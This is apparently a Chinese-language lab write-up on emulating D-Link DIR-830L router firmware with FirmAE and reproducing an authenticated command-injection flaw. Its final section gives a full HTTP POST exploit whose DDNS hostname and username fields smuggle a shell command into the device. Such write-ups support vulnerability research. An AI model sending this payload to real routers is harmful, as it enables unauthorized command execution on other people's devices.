1.FirmAE 工具安裝
首先拉取FirmAE 工具倉庫
git clone --recursive https://github.com/pr0v3rbs/FirmAE

運(yùn)行下載腳本

運(yùn)行./install.sh進(jìn)行安裝


本文模擬的是設(shè)備型號(hào)為D-Link DIR-830L
下載地址:
https://legacy.us.dlink.com/pages/product.aspx?id=f5e0c0a1975a46bab0b5f38b22c5087b
下載后得到DIR830LA1_FW100B07.bin固件文件
3.FirmAE工具初始化
在FirmAE工具目錄下執(zhí)行./init.sh進(jìn)行初始化
這里使用FirmAE工具目錄下的binwalk安裝程序進(jìn)行安裝cd binwalk-2.3.3/
python3 setup.py install
5.模擬運(yùn)行固件執(zhí)行如下命令對(duì)固件進(jìn)行解壓binwalk -Me /root/DIR830LA1_FW100B07.bin --run-as=root

sudo ./run.sh -r DIR-830 /root/DIR830LA1_FW100B07.bin

Exp如下:
POST /ddns_check.ccp
HTTP/1.1Host: 192.168.0.1
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 102
Origin: http://192.168.0.1
Connection: close
Cookie: uid=YnnCDFxmJY # 認(rèn)證信息,此漏洞需要認(rèn)證
ccp_act=doCheck&ddnsHostName=;ls />/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123123123

這里我們已經(jīng)成功看到執(zhí)行系統(tǒng)命令,并將ls /命令的結(jié)果寫入1.html中,直接訪問即可查看命令執(zhí)行的效果。
